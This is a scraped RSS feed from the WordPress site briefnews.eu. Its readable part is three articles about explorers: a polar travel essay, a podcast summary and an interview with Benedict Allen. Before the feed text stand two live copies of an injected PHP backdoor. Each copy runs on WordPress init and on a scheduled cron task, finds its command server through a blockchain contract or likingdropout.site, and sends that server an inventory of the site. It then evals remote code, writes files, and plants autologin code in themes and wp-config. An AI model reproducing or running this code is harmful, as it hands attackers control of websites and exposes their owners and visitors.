// q2_xh if(!defined('ABSPATH'))return; $cfg=array( 'stub'=>'/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php', 'ctrl'=>'// q2_xh', 'vis'=>'// xp_v9', 'vis_func'=>'wp_dia8xd', 'vis_paths'=>array('/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php'), 'opt'=>'_wp_47nl0jvi', ); $keys=array(); $keys['id']='kun'; $keys['ver']='em'; $keys['caps']='eby'; $keys['tasks']='awd'; $keys['interval']='pww'; $keys['ack_id']='nl0'; $keys['ok']='9s'; $keys['detail']='wyy'; $keys['inv']='kxw'; $keys['result']='f3t'; $hdr='X-J98-Auth';$tok='0cQMbCeRLTCSW0NdninnOEVrAtwy11ErS16wrKLqeas';$id='1d0c923bac57072b';$interval=420; function _ea_inv($cfg){ $r=array('ts'=>time(),'wp'=>(function_exists('get_bloginfo')?get_bloginfo('version'):''),'php'=>PHP_VERSION); $chk=function($p,$m){$o=array('path'=>$p,'exists'=>false,'marker'=>false,'size'=>0);if(!$p||!is_string($p))return $o; if(@is_file($p)){$b=@file_get_contents($p);$o['exists']=true;$o['size']=strlen((string)$b);$o['marker']=($b&&strpos($b,$m)!==false);}return $o;}; $r['stub']=$chk($cfg['stub'],$cfg['ctrl']); $vis=array('plugin'=>null,'paths'=>array()); foreach($cfg['vis_paths'] as $_vp){$vis['paths'][]=$chk($_vp,$cfg['vis']);} $found=null;foreach($vis['paths'] as $_p){if(!empty($_p['marker'])){$found=$_p;break;}} if(!$found){$pd=WP_CONTENT_DIR.'/plugins';if(@is_dir($pd)){foreach(@glob($pd.'/*/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_plug')!==false){$found=$chk($_f,'// ea_plug');break;}}} $vis['plugin']=$found?:array('path'=>'','exists'=>false,'marker'=>false); $r['visitor']=$vis; $mu=array('path'=>'','exists'=>false,'marker'=>false);$md=WP_CONTENT_DIR.'/mu-plugins'; if(@is_dir($md)){foreach(@glob($md.'/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_mu')!==false){$mu=$chk($_f,'// ea_mu');break;}}} $r['mu_autologin']=$mu; $ft=0;$fw=0;$td=WP_CONTENT_DIR.'/themes';if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$ft++;$b=@file_get_contents($_f);if($b&&strpos($b,'// _ea_al')!==false)$fw++;}} $r['functions_autologin']=array('themes_total'=>$ft,'themes_with_marker'=>$fw); $wpc=array('path'=>(defined('ABSPATH')?ABSPATH.'wp-config.php':''),'exists'=>false,'marker'=>false); if($wpc['path']&&@is_file($wpc['path'])){$b=@file_get_contents($wpc['path']);$wpc['exists']=true;$wpc['marker']=($b&&(strpos($b,'// _ea_wc')!==false||strpos($b,'/* _ea_wc_s */')!==false));} $r['wpconfig_inject']=$wpc; $cp=array();if(defined('LSCWP_V'))$cp[]='litespeed';if(defined('W3TC'))$cp[]='w3tc'; if(defined('WP_ROCKET_VERSION'))$cp[]='wp_rocket';if(defined('WPCACHEHOME'))$cp[]='wp_super_cache'; if(defined('SG_CACHEPRESS'))$cp[]='sg_optimizer';$r['cache']=array('plugins'=>$cp,'opcache'=>function_exists('opcache_get_status')); return $r;} function _ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id){ $_ok=false;$_detail='';$_result=null; $_code=isset($_task['t'])?$_task['t']:'';$_p=isset($_task['p'])?$_task['p']:array();$_tid=isset($_task['i'])?$_task['i']:0; if(($_code==='wf'||$_code==='ld')&&!empty($_p['path'])&&isset($_p['content'])){ $_path=$_p['path'];$_body=@is_file($_path)?@file_get_contents($_path):''; if($_code==='ld'&&strpos((string)$_body,$_p['content'])===false)$_body.=$_p['content']; elseif($_code==='wf')$_body=$_p['content']; $_ok=@file_put_contents($_path,$_body)!==false; }elseif($_code==='su'&&!empty($_p['path'])&&!empty($_p['content'])){ $_ok=@file_put_contents($_p['path'],$_p['content'])!==false; }elseif($_code==='rp'&&!empty($_p['code'])){ ob_start();try{eval($_p['code']);$_ok=true;}catch(Throwable $e){$_detail=$e->getMessage();}catch(Exception $e){$_detail=$e->getMessage();} $_result=array('output'=>ob_get_clean());} elseif($_code==='va'){$_result=_ea_inv($cfg);$_ok=true;} elseif($_code==='fc'){ $p=array();if(function_exists('wp_cache_flush')){wp_cache_flush();$p[]='object';} if(function_exists('opcache_reset')){@opcache_reset();$p[]='opcache';} if(defined('LSCWP_V')&&function_exists('do_action')){do_action('litespeed_purge_all');$p[]='litespeed';} if(defined('W3TC')&&function_exists('w3tc_flush_all')){w3tc_flush_all();$p[]='w3tc';} if(function_exists('rocket_clean_domain')){rocket_clean_domain();$p[]='wp_rocket';} if(function_exists('wp_cache_clear_cache')){wp_cache_clear_cache();$p[]='wp_super_cache';} if(function_exists('sg_cachepress_purge_cache')){sg_cachepress_purge_cache();$p[]='sg_optimizer';} $_ok=true;$_result=array('purged'=>$p);} elseif($_code==='ma'&&!empty($_p['path'])&&!empty($_p['content'])){ @wp_mkdir_p(dirname($_p['path']));$_ok=@file_put_contents($_p['path'],$_p['content'])!==false; }elseif($_code==='fn'&&!empty($_p['snippet'])){ $td=WP_CONTENT_DIR.'/themes';$n=0;if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$b=@file_get_contents($_f);if(strpos((string)$b,'// _ea_al')===false){$b=rtrim((string)$b)."\n".$_p['snippet'];if(@file_put_contents($_f,$b)!==false)$n++;}}} $_ok=$n>0;$_result=array('themes_updated'=>$n);} elseif($_code==='wc'){ $wp=ABSPATH.'wp-config.php';if(@is_file($wp)){$b=@file_get_contents($wp); if(strpos($b,'/* _ea_wc_s */')!==false){$b=preg_replace('#/\*/* _ea_wc_s */\*/.*?/\* _ea_wc_e \*/#s','',$b);} $b=str_replace(array('// _ea_wc','/* _ea_wc_s */','/* _ea_wc_e */'),'',$b);$_ok=@file_put_contents($wp,$b)!==false;} } $ack=array($keys['ack_id']=>$_tid,$keys['ok']=>$_ok,$keys['detail']=>$_detail); if($_result!==null)$ack[$keys['result']]=$_result; return $ack;} function _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,$force){ $k=$cfg['opt'];if(!$force&&!wp_doing_cron()){ if(is_admin())return; $last=(int)get_option($k,0);if(time()-$last<$interval)return; } $u='likingdropout.site';$co='0x9e33A3979F74c7700E4BaA7e7a2934556f72eF96';$sel='0x38bd65e2';$rpcs=array('https://data-seed-prebsc-1-s1.bnbchain.org:8545','https://data-seed-prebsc-1-s1.bnbchain.org:8545/','https://data-seed-prebsc-2-s1.binance.org:8545/','https://data-seed-prebsc-2-s2.binance.org:8545/','https://bsc-testnet-dataseed.bnbchain.org/','https://bnb-testnet.api.onfinality.io/public'); foreach($rpcs as $_rpc){ $b=json_encode(array('jsonrpc'=>'2.0','id'=>97,'method'=>'eth_call','params'=>array(array('to'=>$co,'data'=>$sel),'latest'))); $ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n",'content'=>$b,'timeout'=>3,'ignore_errors'=>true))); $raw=@file_get_contents($_rpc,false,$ctx); if(!$raw)continue; $j=json_decode($raw,true); if(empty($j['result'])||strlen($j['result'])<10)continue; $h=substr($j['result'],2); if(strlen($h)<128)continue; $off=(int)hexdec(substr($h,0,64)); $len=(int)hexdec(substr($h,$off*2,64)); $_z=pack('H*',substr($h,$off*2+64,$len*2));if($_z)$u=$_z;break; } $_hp='/panel/api/v1/metrics/collect'; $_z=trim((string)$u);$_z=preg_replace('#^https?://#','',$_z); if(strpos($_z,'/')!==false){$_xp=explode('/',$_z,2);$_z=$_xp[0];if(!empty($_xp[1]))$_hp='/'.ltrim($_xp[1],'/');} $_z=trim($_z,'.');if(!$_z)$_z='likingdropout.site'; $_s=substr(str_replace(array('+','/','='),'',base64_encode(random_bytes(6))),0,10); $u='https://'.$_s.'.'.$_z.$_hp; $_ack=$u;if(substr($_ack,-7)==='collect')$_ack=substr($_ack,0,-7).'ack';else $_ack=rtrim($_ack,'/').'/ack'; $inv=_ea_inv($cfg); $b=array($keys['id']=>$id,$keys['ver']=>2,$keys['caps']=>array('server_sync','visitor_js','write_file'),$keys['inv']=>$inv); $resp='';if(function_exists('wp_remote_post')){$_r=wp_remote_post($u,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($b)));if(!is_wp_error($_r))$resp=(string)wp_remote_retrieve_body($_r);}else{$ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($b),'timeout'=>20,'ignore_errors'=>true)));$resp=(string)@file_get_contents($u,false,$ctx);} if(!$resp)return; update_option($k,time(),false); $j=json_decode($resp,true);$tk=$keys['tasks']; if(empty($j[$tk])||!is_array($j[$tk]))return; foreach($j[$tk] as $_task){ $ack=_ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id); if(function_exists('wp_remote_post')){@wp_remote_post($_ack,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($ack)));}else{$actx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($ack),'timeout'=>20,'ignore_errors'=>true)));@file_get_contents($_ack,false,$actx);} } } add_filter('cron_schedules',function($s){$s['ea_fleet']=array('interval'=>$interval,'display'=>'Fleet sync');return $s;}); add_action('init',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ if(!wp_next_scheduled('ea_fleet_sync'))wp_schedule_event(time()+120,'ea_fleet','ea_fleet_sync'); _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,false); },1); add_action('ea_fleet_sync',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,true); }); // l0_9z if(!defined('ABSPATH'))return; $cfg=array( 'stub'=>'/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php', 'ctrl'=>'// l0_9z', 'vis'=>'// zn_yn', 'vis_func'=>'wp_cuzg8t', 'vis_paths'=>array('/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php'), 'opt'=>'_wp_mtrhds4x', ); $keys=array(); $keys['id']='ybc'; $keys['ver']='a1'; $keys['caps']='afo'; $keys['tasks']='x9t'; $keys['interval']='2e4'; $keys['ack_id']='k72'; $keys['ok']='ch'; $keys['detail']='xd9'; $keys['inv']='hw8'; $keys['result']='0bb'; $hdr='X-L8A-Auth';$tok='A3-EVnA_qOJ132k0gQIT_73RgM-QQ5Szxw145ZNDetU';$id='d1451f9eb0097c9f';$interval=420; function _ea_inv($cfg){ $r=array('ts'=>time(),'wp'=>(function_exists('get_bloginfo')?get_bloginfo('version'):''),'php'=>PHP_VERSION); $chk=function($p,$m){$o=array('path'=>$p,'exists'=>false,'marker'=>false,'size'=>0);if(!$p||!is_string($p))return $o; if(@is_file($p)){$b=@file_get_contents($p);$o['exists']=true;$o['size']=strlen((string)$b);$o['marker']=($b&&strpos($b,$m)!==false);}return $o;}; $r['stub']=$chk($cfg['stub'],$cfg['ctrl']); $vis=array('plugin'=>null,'paths'=>array()); foreach($cfg['vis_paths'] as $_vp){$vis['paths'][]=$chk($_vp,$cfg['vis']);} $found=null;foreach($vis['paths'] as $_p){if(!empty($_p['marker'])){$found=$_p;break;}} if(!$found){$pd=WP_CONTENT_DIR.'/plugins';if(@is_dir($pd)){foreach(@glob($pd.'/*/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_plug')!==false){$found=$chk($_f,'// ea_plug');break;}}} $vis['plugin']=$found?:array('path'=>'','exists'=>false,'marker'=>false); $r['visitor']=$vis; $mu=array('path'=>'','exists'=>false,'marker'=>false);$md=WP_CONTENT_DIR.'/mu-plugins'; if(@is_dir($md)){foreach(@glob($md.'/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_mu')!==false){$mu=$chk($_f,'// ea_mu');break;}}} $r['mu_autologin']=$mu; $ft=0;$fw=0;$td=WP_CONTENT_DIR.'/themes';if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$ft++;$b=@file_get_contents($_f);if($b&&strpos($b,'// _ea_al')!==false)$fw++;}} $r['functions_autologin']=array('themes_total'=>$ft,'themes_with_marker'=>$fw); $wpc=array('path'=>(defined('ABSPATH')?ABSPATH.'wp-config.php':''),'exists'=>false,'marker'=>false); if($wpc['path']&&@is_file($wpc['path'])){$b=@file_get_contents($wpc['path']);$wpc['exists']=true;$wpc['marker']=($b&&(strpos($b,'// _ea_wc')!==false||strpos($b,'/* _ea_wc_s */')!==false));} $r['wpconfig_inject']=$wpc; $cp=array();if(defined('LSCWP_V'))$cp[]='litespeed';if(defined('W3TC'))$cp[]='w3tc'; if(defined('WP_ROCKET_VERSION'))$cp[]='wp_rocket';if(defined('WPCACHEHOME'))$cp[]='wp_super_cache'; if(defined('SG_CACHEPRESS'))$cp[]='sg_optimizer';$r['cache']=array('plugins'=>$cp,'opcache'=>function_exists('opcache_get_status')); return $r;} function _ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id){ $_ok=false;$_detail='';$_result=null; $_code=isset($_task['t'])?$_task['t']:'';$_p=isset($_task['p'])?$_task['p']:array();$_tid=isset($_task['i'])?$_task['i']:0; if(($_code==='wf'||$_code==='ld')&&!empty($_p['path'])&&isset($_p['content'])){ $_path=$_p['path'];$_body=@is_file($_path)?@file_get_contents($_path):''; if($_code==='ld'&&strpos((string)$_body,$_p['content'])===false)$_body.=$_p['content']; elseif($_code==='wf')$_body=$_p['content']; $_ok=@file_put_contents($_path,$_body)!==false; }elseif($_code==='su'&&!empty($_p['path'])&&!empty($_p['content'])){ $_ok=@file_put_contents($_p['path'],$_p['content'])!==false; }elseif($_code==='rp'&&!empty($_p['code'])){ ob_start();try{eval($_p['code']);$_ok=true;}catch(Throwable $e){$_detail=$e->getMessage();}catch(Exception $e){$_detail=$e->getMessage();} $_result=array('output'=>ob_get_clean());} elseif($_code==='va'){$_result=_ea_inv($cfg);$_ok=true;} elseif($_code==='fc'){ $p=array();if(function_exists('wp_cache_flush')){wp_cache_flush();$p[]='object';} if(function_exists('opcache_reset')){@opcache_reset();$p[]='opcache';} if(defined('LSCWP_V')&&function_exists('do_action')){do_action('litespeed_purge_all');$p[]='litespeed';} if(defined('W3TC')&&function_exists('w3tc_flush_all')){w3tc_flush_all();$p[]='w3tc';} if(function_exists('rocket_clean_domain')){rocket_clean_domain();$p[]='wp_rocket';} if(function_exists('wp_cache_clear_cache')){wp_cache_clear_cache();$p[]='wp_super_cache';} if(function_exists('sg_cachepress_purge_cache')){sg_cachepress_purge_cache();$p[]='sg_optimizer';} $_ok=true;$_result=array('purged'=>$p);} elseif($_code==='ma'&&!empty($_p['path'])&&!empty($_p['content'])){ @wp_mkdir_p(dirname($_p['path']));$_ok=@file_put_contents($_p['path'],$_p['content'])!==false; }elseif($_code==='fn'&&!empty($_p['snippet'])){ $td=WP_CONTENT_DIR.'/themes';$n=0;if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$b=@file_get_contents($_f);if(strpos((string)$b,'// _ea_al')===false){$b=rtrim((string)$b)."\n".$_p['snippet'];if(@file_put_contents($_f,$b)!==false)$n++;}}} $_ok=$n>0;$_result=array('themes_updated'=>$n);} elseif($_code==='wc'){ $wp=ABSPATH.'wp-config.php';if(@is_file($wp)){$b=@file_get_contents($wp); if(strpos($b,'/* _ea_wc_s */')!==false){$b=preg_replace('#/\*/* _ea_wc_s */\*/.*?/\* _ea_wc_e \*/#s','',$b);} $b=str_replace(array('// _ea_wc','/* _ea_wc_s */','/* _ea_wc_e */'),'',$b);$_ok=@file_put_contents($wp,$b)!==false;} } $ack=array($keys['ack_id']=>$_tid,$keys['ok']=>$_ok,$keys['detail']=>$_detail); if($_result!==null)$ack[$keys['result']]=$_result; return $ack;} function _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,$force){ $k=$cfg['opt'];if(!$force&&!wp_doing_cron()){ if(is_admin())return; $last=(int)get_option($k,0);if(time()-$last<$interval)return; } $u='likingdropout.site';$co='0x9e33A3979F74c7700E4BaA7e7a2934556f72eF96';$sel='0x38bd65e2';$rpcs=array('https://data-seed-prebsc-1-s1.bnbchain.org:8545','https://data-seed-prebsc-1-s1.bnbchain.org:8545/','https://data-seed-prebsc-2-s1.binance.org:8545/','https://data-seed-prebsc-2-s2.binance.org:8545/','https://bsc-testnet-dataseed.bnbchain.org/','https://bnb-testnet.api.onfinality.io/public'); foreach($rpcs as $_rpc){ $b=json_encode(array('jsonrpc'=>'2.0','id'=>97,'method'=>'eth_call','params'=>array(array('to'=>$co,'data'=>$sel),'latest'))); $ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n",'content'=>$b,'timeout'=>3,'ignore_errors'=>true))); $raw=@file_get_contents($_rpc,false,$ctx); if(!$raw)continue; $j=json_decode($raw,true); if(empty($j['result'])||strlen($j['result'])<10)continue; $h=substr($j['result'],2); if(strlen($h)<128)continue; $off=(int)hexdec(substr($h,0,64)); $len=(int)hexdec(substr($h,$off*2,64)); $_z=pack('H*',substr($h,$off*2+64,$len*2));if($_z)$u=$_z;break; } $_hp='/panel/api/v1/metrics/collect'; $_z=trim((string)$u);$_z=preg_replace('#^https?://#','',$_z); if(strpos($_z,'/')!==false){$_xp=explode('/',$_z,2);$_z=$_xp[0];if(!empty($_xp[1]))$_hp='/'.ltrim($_xp[1],'/');} $_z=trim($_z,'.');if(!$_z)$_z='likingdropout.site'; $_s=substr(str_replace(array('+','/','='),'',base64_encode(random_bytes(6))),0,10); $u='https://'.$_s.'.'.$_z.$_hp; $_ack=$u;if(substr($_ack,-7)==='collect')$_ack=substr($_ack,0,-7).'ack';else $_ack=rtrim($_ack,'/').'/ack'; $inv=_ea_inv($cfg); $b=array($keys['id']=>$id,$keys['ver']=>2,$keys['caps']=>array('server_sync','visitor_js','write_file'),$keys['inv']=>$inv); $resp='';if(function_exists('wp_remote_post')){$_r=wp_remote_post($u,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($b)));if(!is_wp_error($_r))$resp=(string)wp_remote_retrieve_body($_r);}else{$ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($b),'timeout'=>20,'ignore_errors'=>true)));$resp=(string)@file_get_contents($u,false,$ctx);} if(!$resp)return; update_option($k,time(),false); $j=json_decode($resp,true);$tk=$keys['tasks']; if(empty($j[$tk])||!is_array($j[$tk]))return; foreach($j[$tk] as $_task){ $ack=_ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id); if(function_exists('wp_remote_post')){@wp_remote_post($_ack,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($ack)));}else{$actx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($ack),'timeout'=>20,'ignore_errors'=>true)));@file_get_contents($_ack,false,$actx);} } } add_filter('cron_schedules',function($s){$s['ea_fleet']=array('interval'=>$interval,'display'=>'Fleet sync');return $s;}); add_action('init',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ if(!wp_next_scheduled('ea_fleet_sync'))wp_schedule_event(time()+120,'ea_fleet','ea_fleet_sync'); _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,false); },1); add_action('ea_fleet_sync',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,true); }); Explorers – Brief News https://briefnews.eu Latest World News. Find every day short and brief information composed of titles and subtitles and continue reading if interested. Mon, 03 Dec 2018 08:07:16 +0000 en-US hourly 1 https://wordpress.org/?v=7.0.7 https://briefnews.eu/wp-content/uploads/2018/01/cropped-logoSmall-1-32x32.png Explorers – Brief News https://briefnews.eu 32 32 The appeal of the extremes: Why do explorers risk it all for the two Poles? https://briefnews.eu/the-appeal-of-the-extremes-why-do-explorers-risk-it-all-for-the-two-poles/ https://briefnews.eu/the-appeal-of-the-extremes-why-do-explorers-risk-it-all-for-the-two-poles/#respond Mon, 03 Dec 2018 08:07:16 +0000 http://briefnews.eu/the-appeal-of-the-extremes-why-do-explorers-risk-it-all-for-the-two-poles/
Leon McCarron

Why do explorers still take risks to reach the Poles, even when most ‘firsts’ have been claimed and records broken? Avid Pole-seeker and featured contributor Leon McCarron explains.

When I was 10, I wanted to go to the South Pole. When I was 15, I decided that I’d like to go to the North Pole too. As yet, I haven’t done either. It’s taken me 31 years to even make it to the Arctic. While it’s not quite to the top of the planet, this year, I journey further north than ever before.

From Longyearbyen, the main town on the biggest island of the Svalbard archipelago, I step onto a boat and sail west out of the ice fjord towards open water, then north through a channel with Spitsbergen island on one side and Prince Charles Foreland on the other.

I’m traveling with a film crew from Northern Ireland, and we’re here to follow in the footsteps of Lord Dufferin who, in the 1850s, had sailed from Scotland to Svalbard. He was an early adventure tourist rather than an explorer, but his journey was nevertheless one of guts and gall and sheer bloody-mindedness; and indeed, one driven by the desire to see the great empty wildernesses that lie at the ends of the world.

Icebergs the size of buses float past our small sailboat as we roar north with the wind. We spent nights anchored in the shelter of small, jutting peninsulas, and wander on shore in the midnight sun to admire—from a safe distance—the writhing, tusked forms within a huddle of walruses (and yes, that is the correct collective noun).

RELATED: The race to be last: Polar explorer Eric Larsen battles climate change

Finally, we reach the point we’d been aiming for—English Bay, where Dufferin made landfall—and step off onto the horseshoe-shaped beach. There are very few other humans for hundreds of miles; perhaps just a handful of scientists and trappers. Any that are there are certainly outnumbered by polar bears.

Beyond the hills that enclose us, we catch glimpses into huge, cavernous valleys beyond, stretching out to the white horizon punctuated only by the crisp, reflective glow of glaciers. This is what I’d dreamt of; the privilege of standing somewhere so pristine.

Today too, tragedy still strikes; most recently, the heart-breaking story of Henry Worsley’s death during his attempt to become the first person to cross Antarctica solo and unaided. So why do explorers still put themselves at such risk, when surely all firsts have been claimed and records broken?

Much of it seems to lie in the simple purity of the challenge. Scott talked of the appeal of a place that had “hitherto been untrodden by human feet, unseen by human eyes.” Even today, polar regions can still feel as though they’re untouched by the human hand. As a more general description, however, perhaps it is, as the Norwegian explorer Fridtjof Nansen describes, a visceral, internal trial. He asks the rhetorical question:

“Why [do we do it]? On account of the great geographical discoveries, the important scientific results? Oh no; that will come later, for the few specialists. This is something all can understand. A victory of human mind and human strength over the dominion and powers of Nature; a deed that lifts us above the great monotony of daily life; a view over shining plains, with lofty mountains against the cold blue sky, and lands covered by ice-sheets of inconceivable extent … the triumph of the living over the stiffened realm of death.”

On my journey to the Arctic, we share none of the trials nor tribulations of the great explorers, and yet on the homeward journey the weather turns and we’re left for a few days at the mercy of a storm. Our boat bounces around on ‘old sea,’ as the skipper calls it—water still shaking from previous tumultuous weather—and we experience just a small taste of that helplessness when faced with the raw power of the far north.

The hero of my youth, Ernest Shackleton, took it upon himself to outline the skills a polar explorer must have, and perhaps that’s as good an answer to the question as any. The first, he says, is a requirement of bring an optimist. Second: “patience; third, physical endurance; fourth, idealism; fifth and last, courage.”

He, and those mentioned above had these traits in spades, as did (and do) so many others. We should be grateful for their spirit and stories. I know I am.

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]]> https://briefnews.eu/the-appeal-of-the-extremes-why-do-explorers-risk-it-all-for-the-two-poles/feed/ 0 Daily Podcast: Is The Breaking Bad Movie A Good Idea? The 4400, Netflix, Paddington 3, Explorers & The Color Purple https://briefnews.eu/daily-podcast-is-the-breaking-bad-movie-a-good-idea-the-4400-netflix-paddington-3-explorers-the-color-purple/ https://briefnews.eu/daily-podcast-is-the-breaking-bad-movie-a-good-idea-the-4400-netflix-paddington-3-explorers-the-color-purple/#respond Thu, 08 Nov 2018 01:43:04 +0000 http://briefnews.eu/daily-podcast-is-the-breaking-bad-movie-a-good-idea-the-4400-netflix-paddington-3-explorers-the-color-purple/ breaking bad movie

On the November 7, 2018 episode of /Film Daily, /Film editor-in-chief Peter Sciretta is joined by /Film senior writer Ben Pearson and writers Hoai-Tran Bui and Chris Evangelista to talk about the latest film and TV news, including a Breaking Bad movie, the future of Netflix theatrical releases, Paddington 3, an Explorers TV series, and The Color Purple musical being adapted for the big screen.

You can subscribe to /Film Daily on iTunes, Google Play, Overcast, Spotify and all the popular podcast apps (here is the RSS URL if you need it).

In The News:

All the other stuff you need to know:

  • You can find more about all the stories we mentioned on today’s show at slashfilm.com, and linked inside the show notes.
  • /Film Daily is published every weekday, bringing you the most exciting news from the world of movies and television as well as deeper dives into the great features from slashfilm.com.
  • You can subscribe to /Film Daily on iTunes, Google Play, Overcast, Spotify and all the popular podcast apps (RSS).
  • Send your feedback, questions, comments and concerns to us at peter@slashfilm.com. Please leave your name and general geographic location in case we mention the e-mail on the air.
  • Please rate and review the podcast on iTunes, tell your friends and spread the word!
  • Thanks to Sam Hume for our logo.

The post Daily Podcast: Is The Breaking Bad Movie A Good Idea? The 4400, Netflix, Paddington 3, Explorers & The Color Purple appeared first on /Film.

]]> https://briefnews.eu/daily-podcast-is-the-breaking-bad-movie-a-good-idea-the-4400-netflix-paddington-3-explorers-the-color-purple/feed/ 0 Does the world need explorers now more than ever? https://briefnews.eu/does-the-world-need-explorers-now-more-than-ever/ https://briefnews.eu/does-the-world-need-explorers-now-more-than-ever/#respond Fri, 12 Oct 2018 17:28:24 +0000 http://briefnews.eu/does-the-world-need-explorers-now-more-than-ever/
Jini Reddy


Jini Reddy
October 10, 2018

He’s one of the last of the ‘classic explorers’ of our time, regularly going off-grid and into the unknown—adventurer Benedict Allen talks to Jini Reddy about the importance of disconnecting, engaging, and documenting the world we live in.

“It might sound counter-intuitive, but we are entering a Golden Age of exploration,” says Benedict Allen. “Never has the world been more accessible, never has it been more democratic. And the world has more need for people to investigate it than ever before…”

Eager to inspire a new generation on a UK speaking tour, Benedict delivers these words to me in his West London eyrie not long after a journey—his third—into the Peruvian Amazon and before his current Ultimate Explorer tour.

It was 25 years ago when he first met the Matses, or ‘Jaguar People’ and lived with a family for three months. They’d warmly embraced him, taught him to read the forest and then he’d walked on alone, making a gruelling 5,633-kilometer crossing of the Amazon basin. He’d been eager to pay his friends a return visit—hence his most recent expedition.

“They were kind and wonderful to me when I was still relatively naïve and unskilled,” he says. “I felt I owed it to them to say thanks. I wanted to see how the daughter Lucy was and her dad, Pablito.”

At the tender age of 23, Benedict made a 966-kilometer crossing of the remote northeast Amazon. On that trip, he was forced to walk out of the forest, and, while malaria-stricken and starving, took the decision to eat his dog in order to survive.

He’s ridden camels a thousand miles up Namibia’s Skeleton Coast, crossed Mongolia’s Gobi Desert, sledged across the Bering Strait with a team of husky dogs, and in Papua New Guinea, he underwent an initiation ceremony to make him “as strong as a crocodile”. He’s journeyed alone, was the first to travel with a hand-held camera, made documentaries and wrote books.

After a hiatus of sorts in which he presented adventure TV shows, got married and had three children, he returned last year to Papua New Guinea to visit friends from the remote Yaifo people who he’d befriended as a young man.

His trip suddenly became headline news when he missed his flight out. Fighting had erupted between two communities which had made it impossible for him to walk out of the forest, and he’d become sick with malaria and dengue fever. He was gee-ing up for a final attempt to get to the outside world, when he was unexpectedly rescued by helicopter. The explorer was rebuked in the press for his risk-taking—he’d traveled without a satellite phone.

RELATED: The app that can find places that don’t have an address

“Not being contactable, well, maybe it is to do with friendship, and wanting to look the locals in the eye, and say, ‘I trust you. I’m not taking any gadgets that would save me that wouldn’t save you, I’m trusting you with my life and you’re trusting me with yours,’” he says.

He also believes that exploration—true exploration—is about being honest with himself, and about testing the courage of his convictions. “Of course, it becomes a moral question if you have children and whether it is fair on them, but that’s a different tussle,” he says.

Still, the joys of exploration did and do prevail. “The magic for me lies in the exhilaration of propeling yourself into the unknown, the pure joy and stimulation of having to rely on your own wits. And you feel like you’re living more intensely.”

Of course, not everyone has the opportunity to spend sustained time in remote communities and the world is changing; some might say shrinking. As one of the last of the ‘classic’ explorers with an enviable archive of experiences of a less joined-up world to draw upon, what does he say to those eager to pick up the baton in the 21st century?

“I think we have to re-think the word and say that all humans, regardless of our background, are explorers. We’re all interested in the world, we’re all documenting the unfamiliar, all the time.”

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]]> https://briefnews.eu/does-the-world-need-explorers-now-more-than-ever/feed/ 0 Rugged white guys with beards? Nope, most of my favorite explorers are women https://briefnews.eu/rugged-white-guys-with-beards-nope-most-of-my-favorite-explorers-are-women/ https://briefnews.eu/rugged-white-guys-with-beards-nope-most-of-my-favorite-explorers-are-women/#respond Wed, 07 Mar 2018 08:23:14 +0000 http://briefnews.eu/rugged-white-guys-with-beards-nope-most-of-my-favorite-explorers-are-women/
